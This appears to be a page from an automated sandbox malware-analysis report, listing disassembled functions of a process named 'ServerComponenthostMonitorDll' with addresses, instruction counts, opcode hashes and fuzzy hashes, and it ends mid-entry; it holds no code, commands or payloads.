Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c20bcb874c900e7ea172c202507914d6d19e8dcabd0e92f4e471b67ee990eef1
Instruction ID: 1956b91b3c47c7e0482b68a8998646c778267fa7cf55f4ad028db9a0c87cf331
Opcode Fuzzy Hash: c20bcb874c900e7ea172c202507914d6d19e8dcabd0e92f4e471b67ee990eef1
Instruction Fuzzy Hash: 8081B430E1A54E8EEB79EFE48860ABC77B5FF58300F11057AD00ED71E6DE2A6A418741

Function 00007FFD9BEC8D96 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef78a4764d4d0df82e60bb3fc33a3982f10606430861431745c8f50ccaa12ed2
Instruction ID: a5598c5c25f2184f76b2f776ec9669d0bfdba9d362654c20722544d6a02995e2
Opcode Fuzzy Hash: ef78a4764d4d0df82e60bb3fc33a3982f10606430861431745c8f50ccaa12ed2
Instruction Fuzzy Hash: C5718031B1E68E4FE33C6A5899654B577E5EF52310B16053ED0CEC32A3DE2AB9028391

Function 00007FFD9BEC7ABB Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 387cfee565102965c6855c905064a4e8159ab6b6510bff734a7dbe993b1cc2a9
Instruction ID: 6a53f01195c85c8e1dfd7ba6c7ee8f362eed1be0209e5d5c8faa5dd22c85ff27
Opcode Fuzzy Hash: 387cfee565102965c6855c905064a4e8159ab6b6510bff734a7dbe993b1cc2a9
Instruction Fuzzy Hash: AD71D630E1E64E8FEBA5EFA48860AFD77A5FF59300F11057AD01EC71E2DE296A418744

Function 00007FFD9BECD01B Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d392112df5e629513b89d9e05cebfec523d2e839747fe7decda686b5beaad6
Instruction ID: fda1ea36b3cdfd60c64b4a10300059a0a4f9cbfada23b9d3cde6fcad91bef954
Opcode Fuzzy Hash: 07d392112df5e629513b89d9e05cebfec523d2e839747fe7decda686b5beaad6
Instruction Fuzzy Hash: 93710930E1E54E8FE7A9EBA88861AFC77E5FF45300F114179D00EC71E5DE2AAA418741

Function 00007FFD9BEC6DA3 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec85414a05b6286aba439aac774c08e8d7fb1fdd8accf6a4329933526b989cd2
Instruction ID: 6fb4461676ab2d08b5f444ca07a27a2821a250353dd6ae3dd143ba2042ccd506
Opcode Fuzzy Hash: ec85414a05b6286aba439aac774c08e8d7fb1fdd8accf6a4329933526b989cd2
Instruction Fuzzy Hash: B751293171D94D4FE7A8EB1CD8666B977C1FFA8310B05027EE45EC32A2DE25AD418780

Function 00007FFD9BEC0190 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be12d1fa6c9585b46e6d426c3d451d2122c54a45b8aa773769875b0910033a9d
Instruction ID: 99769cbabb4527c6d489db380cbf507633916354e8cd38ad5644c7da66798448
Opcode Fuzzy Hash: be12d1fa6c9585b46e6d426c3d451d2122c54a45b8aa773769875b0910033a9d
Instruction Fuzzy Hash: 9C51E63171D94D8FE7A8EF2C98656B837C5FF98711B0502B9E44EC32A3DE25AD018781

Function 00007FFD9BEC4832 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb8713cbfac07acde74bf51671ea39b85552001eb78558fb54b009ea168e3a0
Instruction ID: 3988ac6986a39045705aaba2f0341406db4690729a14c67ee3fd5ae37bbbe5e9
Opcode Fuzzy Hash: 9bb8713cbfac07acde74bf51671ea39b85552001eb78558fb54b009ea168e3a0
Instruction Fuzzy Hash: 0B61BE30B1990A4BE758EB98C1A06B5B3A5FF58314F51823DD00EC7A96DB39F9518B84

Function 00007FFD9BEC9862 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fce818059f214dca618e4dcf3f8a410d51e51bfb8fe1655474ed7c4d676931b5
Instruction ID: 863e299c96a63be3971789f3d8d04e5261d57626d72b583f541d549892026270
Opcode Fuzzy Hash: fce818059f214dca618e4dcf3f8a410d51e51bfb8fe1655474ed7c4d676931b5
Instruction Fuzzy Hash: BE61DE34B1990A9BE759EB58C0A86B4B395FF99304F40827DD00EC3AD6CB39F9518B84

Function 00007FFD9BECEE4E Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67e7ffc960000824d322ecd49bdc1a9c4b9533ba35af5f641a43435da08b01a7
Instruction ID: 0e81ce846bf54d1b09b172379df45dea2f5ec04999a71ac65d5ee6ab626776a8
Opcode Fuzzy Hash: 67e7ffc960000824d322ecd49bdc1a9c4b9533ba35af5f641a43435da08b01a7
Instruction Fuzzy Hash: 84519070B1990B8BE798EB58C0A16B5B395FF58300F518279D00EC7AD6DB39F9518B80

Function 00007FFD9BEC0B37 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a68bf60325e8d5e6bc69581f7373b5a91585477d4a9e96a90bea09c2aa183645
Instruction ID: c3c6780e9f46151e8522dea5a6acd1ea7977d536731083624456863c0739f554
Opcode Fuzzy Hash: a68bf60325e8d5e6bc69581f7373b5a91585477d4a9e96a90bea09c2aa183645
Instruction Fuzzy Hash: 3C410720E1D55E8FEB78A69884706F877A5FF54300F1645BAD08EC71E6DE396A888780

Function 00007FFD9BAC08D0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50d4af27aab61187d408bbbd5b1ea8c2699ec7fe8d0bf710d300000edd3de310
Instruction ID: c53ab9a40f75476b47974ae1bea675882c1865d9977950f37a389a4efa892ebb
Opcode Fuzzy Hash: 50d4af27aab61187d408bbbd5b1ea8c2699ec7fe8d0bf710d300000edd3de310
Instruction Fuzzy Hash: 86411412B0D5690AE728B7BC64B96FC3780DF9933AF1446FBE44E8B1E7DD086841C285

Function 00007FFD9BECB617 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f26ac5d990c12fd110fea3dcfd819e425d12bbc01b01add1359963e98b1057a
Instruction ID: 6455b3911cda58afd421be2dedc152b95b9a98119596d5ca6486e6019deb20af
Opcode Fuzzy Hash: 1f26ac5d990c12fd110fea3dcfd819e425d12bbc01b01add1359963e98b1057a
Instruction Fuzzy Hash: 5D41843170D9098FDF98EB68C4A5DA873E5FBA9320B14466ED04EC7192DE31F985CB81

Function 00007FFD9BEC65E7 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a37f6e52e4df7bb83551b4f7518c3610f7d071ffc7fe97aff2c84a1d2a681e91
Instruction ID: 5ad98633fb30e06739a99de6e9f4a28f6b75e52e4dce635e2e2c3e5706403ed1
Opcode Fuzzy Hash: a37f6e52e4df7bb83551b4f7518c3610f7d071ffc7fe97aff2c84a1d2a681e91
Instruction Fuzzy Hash: FA41423160D9088FDF98FB18C4A5DA573E1FBB9320B04056ED04EC7296DE25F895CB81

Function 00007FFD9BECB6C1 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 836e83cd2dc443023f6a61206925c763bf3d2a4c8c523f4aa52222a51a27b947
Instruction ID: d3310dfc28f925dd0e93007f69238f86ac9cbfcf4f8bb80c377e67e42cfa9256
Opcode Fuzzy Hash: 836e83cd2dc443023f6a61206925c763bf3d2a4c8c523f4aa52222a51a27b947
Instruction Fuzzy Hash: 4D317F3160CA498FDB98EF28C4A5D6473E5FBA931471446AED44AC71A2DE31F885CB81

Function 00007FFD9BEC6691 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0717d3f722bb5cec578d78b534584beb2abb2fb84fc02bc63aa7d2c583fa9083
Instruction ID: ae1dc073244a4fa68eed14c3ef1fcd1f3fce5de3ba7b0918a4fbf696c95fb362
Opcode Fuzzy Hash: 0717d3f722bb5cec578d78b534584beb2abb2fb84fc02bc63aa7d2c583fa9083
Instruction Fuzzy Hash: F4315F3160C9488FDF9CEB18C4A9D6573E1FFB931070406AEE05AC7296DE25F895CB81

Function 00007FFD9BAC0998 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ab8324ff338e9cd349cf7952e74917ce9e72de29af693965d6862f7dc4f219d
Instruction ID: 4f5291eecd5ee7a8b02c9bcc31639085be0e3ce2c69d917389ccf9bbf3e45e70
Opcode Fuzzy Hash: 5ab8324ff338e9cd349cf7952e74917ce9e72de29af693965d6862f7dc4f219d
Instruction Fuzzy Hash: CC31E620B1991D0FEB98FB6C946A77932D6EBE8315F51007EE40EC33E6DD19AD418381

Function 00007FFD9BEC0BD3 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1adf83a7292ae2eb0e235d5da85944c49d6abc0fc4ab14456620aac8eae7a94a
Instruction ID: 49ea115122b1608eb76c205e786fed98c754d62da874b7729c9c7a7a858d5ade
Opcode Fuzzy Hash: 1adf83a7292ae2eb0e235d5da85944c49d6abc0fc4ab14456620aac8eae7a94a
Instruction Fuzzy Hash: 80318E21F1E46E4BF678A28C44705B8775AFF94310B1646BBD08FCB0E7C939B98482C0

Function 00007FFD9BEC3E7D Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a037050229740dfcdc11dfe073a31588b021840c216d40310d2f5935459ca33a
Instruction ID: c9f943e93efe4ac8cd44710218c6a70a72334aeff6f660d107d8c9c37bf5839a
Opcode Fuzzy Hash: a037050229740dfcdc11dfe073a31588b021840c216d40310d2f5935459ca33a
Instruction Fuzzy Hash: 70310731B0E7894FE3396A5894670F577E8EF55314B25093EE4CEC22A2D936B9025381

Function 00007FFD9BECB65B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d02da7666e5701a289e2ed3d216ac14c45b3de01df7db559879f69570d869be7
Instruction ID: fea66015c8875e2c027acc0e0e1156b60690cbd0530125d8420c8c06aed741b7
Opcode Fuzzy Hash: d02da7666e5701a289e2ed3d216ac14c45b3de01df7db559879f69570d869be7
Instruction Fuzzy Hash: 6D31403170CA098FDF98EF28C4A5DA473E5FBA931471446AED04AC71A2DE35F985CB81

Function 00007FFD9BEC662B Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e533f04e64292ecb9e414f76ca15a7fb21da642cd205a09a5e4c5f33dee769c
Instruction ID: 2066a6dc150de794efc9700f073e90d90fe53f1fdeb2a533f886041aeee943f1
Opcode Fuzzy Hash: 5e533f04e64292ecb9e414f76ca15a7fb21da642cd205a09a5e4c5f33dee769c
Instruction Fuzzy Hash: 7731603160C9098FDF98FF18C4A9DA573E1FBB931070405AEE04AC7296DE25F895CB81

Function 00007FFD9BEC376B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd583500a16f11bde278685f8a364b6835e2acec4a29ca5abe6699c3172ecb46
Instruction ID: f8d8942d7320389e5a83edfb50a0a304dc625c5ddd82839a7e4aa5dfdb9d124d
Opcode Fuzzy Hash: bd583500a16f11bde278685f8a364b6835e2acec4a29ca5abe6699c3172ecb46
Instruction Fuzzy Hash: 03316F71B1990E8FDB58EA98D4A19B9F3E2FF58754B518139D01EC3292DB35BC12C780

Function 00007FFD9BECDCFD Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4abcdaafe86d4af54167f72ccf63772cb7cc354d0629c2ddd9e9efdac19ff206
Instruction ID: 59e27dd4b6f3dd9786818730be13ab22921acac73fbb41609e16314a266044a4
Opcode Fuzzy Hash: 4abcdaafe86d4af54167f72ccf63772cb7cc354d0629c2ddd9e9efdac19ff206
Instruction Fuzzy Hash: 8B318E71F1990E4FDB98EA98D4A19B8B7E6FF58714B118139D00ED3292DF25B852C7C0

Function 00007FFD9BEC1B91 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b2b316cb3ee6030b222145cbe90d9f833940ceac059e5787d4bb3edeb5a0e33
Instruction ID: df5cb6eac6bd828d881f9ff5977b57b55d34877801217a9a04fe59a8492c2f6d
Opcode Fuzzy Hash: 9b2b316cb3ee6030b222145cbe90d9f833940ceac059e5787d4bb3edeb5a0e33
Instruction Fuzzy Hash: C531F731E0E68D8FDB59EB98C8609FC7BB1FF59300F0501BAE00AE71E2DA296905C711

Function 00007FFD9BAC0C25 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 899919b77dd2781a7dce0ea18589530150b1e60f8b465d898b85c1ad5236b827
Instruction ID: 4ec651ca26258b2037f6e2288dff7bb15837939e949bc5a5abf9940feddcdc4b
Opcode Fuzzy Hash: 899919b77dd2781a7dce0ea18589530150b1e60f8b465d898b85c1ad5236b827
Instruction Fuzzy Hash: D9310632B0E28D8AE731BBA898611FC7BA0EF52725F0542F7D0588B1D3D97826858B45

Function 00007FFD9BEC8855 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2baa16852daacd6d994202301c047969d4a9258920b2f31fd2fc666076c3c67c
Instruction ID: d07f700554a32050e12d4e14971db99c8be1a0f4194c8de6286e37e2b51a23db
Opcode Fuzzy Hash: 2baa16852daacd6d994202301c047969d4a9258920b2f31fd2fc666076c3c67c
Instruction Fuzzy Hash: 04210572B1EA0D4FEB68E7A898222F8B3D1FF54314F550279D01DC36D2EE2569068385

Function 00007FFD9BEC63F5 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5fe0f00dbb7c8312679e714b124cc71e1256ba89137cff54b33da990ff38153
Instruction ID: 9b24c7be881c13837ff6e2391fa26027cbc0341f5879c43636407cb69f9924bd
Opcode Fuzzy Hash: b5fe0f00dbb7c8312679e714b124cc71e1256ba89137cff54b33da990ff38153
Instruction Fuzzy Hash: F3313C30A1E54ECFEBA8EF8484615BE77B5FF64300F52007AD40ED71A1DA3AAA409741

Function 00007FFD9BEC879B Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c5418ce2a9e0821409f87459722335b91c06cec1ba1f8bc23bf40eb0b689a3d
Instruction ID: 0e918666e28b591f3c6ff80900d80e381797cf0526bc6c64660ac91940d80de8
Opcode Fuzzy Hash: 9c5418ce2a9e0821409f87459722335b91c06cec1ba1f8bc23bf40eb0b689a3d
Instruction Fuzzy Hash: BC31BF31B1990E9FDB58EB98C5A19B8F7A1FF54310B514239D01ED3692DF24BD12CB80

Function 00007FFD9BAC0960 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ccb7311256bcee16dc6ebd81a7da15be1cb846e4d8933e254e7259d83c4d28
Instruction ID: 567d35cde5e224302f8d7392464b25eaa3c5e4eb7b7afc212e844140145017aa
Opcode Fuzzy Hash: d1ccb7311256bcee16dc6ebd81a7da15be1cb846e4d8933e254e7259d83c4d28
Instruction Fuzzy Hash: 12212811F0D95E1AF778B7BC286A6F822C1DF9832AF5541BBE40EC71E7DC19AC418285

Function 00007FFD9BEC52E1 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f058ea85a2ac0191546d3a21f2e63444c097b1b2662912ba74068006c7a2f17
Instruction ID: de9847763e45a5f4bfec2c1d35d2af909fccc5b28532be2b801b6666027610cb
Opcode Fuzzy Hash: 1f058ea85a2ac0191546d3a21f2e63444c097b1b2662912ba74068006c7a2f17
Instruction Fuzzy Hash: A7315E20A1E6AF4AE339E25C48715787BD5EFD1302B1947BAC09BCB4EFC45DB5828781

Function 00007FFD9BECDDD4 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 618fd1f2decd9c4882c343451b04cdd7e8e4c419a2b582082a20d826a65e04a8
Instruction ID: c26e756ae92f87f2868e9ad78c75d00220f0d74ef9662d0a17c346b4bf7ea2f8
Opcode Fuzzy Hash: 618fd1f2decd9c4882c343451b04cdd7e8e4c419a2b582082a20d826a65e04a8
Instruction Fuzzy Hash: 3D214761F0E64D4FE764F7A898722F87BD4EF55314F0541B9D04EC31E3DA16A9068340

Function 00007FFD9BEC0B48 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a6913cd805bfd14b2c2533f079df743fd0b5b626a3e0a5673747a1a707d6dc1
Instruction ID: f2a98014297d67afb1479e6314b137dc7e8b2dfeb30c0aeac169a6c05b895ac6
Opcode Fuzzy Hash: 9a6913cd805bfd14b2c2533f079df743fd0b5b626a3e0a5673747a1a707d6dc1
Instruction Fuzzy Hash: 9C314030E1E54ECEEBA8DB9484715BD77B9FF84700F59027AD00ED21A2DAB66E40C741

Function 00007FFD9BECA310 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 662013a8fe7bb646cca7a6141d441f4f1aa16d6569b9177243630f784c914495
Instruction ID: aba8155abdd0c16d787523983ef8fe57cfdf152e1bb87f4730e74f284b5339fe
Opcode Fuzzy Hash: 662013a8fe7bb646cca7a6141d441f4f1aa16d6569b9177243630f784c914495
Instruction Fuzzy Hash: D6312910A2E5DF4AE73AA25C48745BC7B55EF9231271946FAD08BCB0EFD41EB9818341

Function 00007FFD9BEC7732 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 442b47d09f3e19933400fed1867cf10f5a127d6c5b297f5ddd76a18777253376
Instruction ID: 0e487aa0b9126c08c0ecdb39632c9bb6bfece5cea3c90a12ef193bae23bc89b8
Opcode Fuzzy Hash: 442b47d09f3e19933400fed1867cf10f5a127d6c5b297f5ddd76a18777253376
Instruction Fuzzy Hash: A921F971A0991D9FDF98EF58C465AEDB7B1FF68311F1042AAD00EE32A1CE35A941CB40

Function 00007FFD9BEC31E3 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca691f98c43e68aeee75c951bff5292ae064fd5812ffc6b05325b596fededeb7
Instruction ID: 1aa1cd8459ff5c283397afdc5010292799421a2c6a86434ed706694959326493
Opcode Fuzzy Hash: ca691f98c43e68aeee75c951bff5292ae064fd5812ffc6b05325b596fededeb7
Instruction Fuzzy Hash: BC21A731F18A0C4FDB69EB58D866A7973E5FF89315F41117DD04EC36A1CA36AD418B40

Function 00007FFD9BECCC92 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b96459e8ecd884dd9492c347cf9feff64af412399fee1939f9dcd04a0b138133
Instruction ID: 3a748b8cfbc4142f8b1f0eae49302f98cd450f2f79ea414c76b6fec642fc6c40
Opcode Fuzzy Hash: b96459e8ecd884dd9492c347cf9feff64af412399fee1939f9dcd04a0b138133
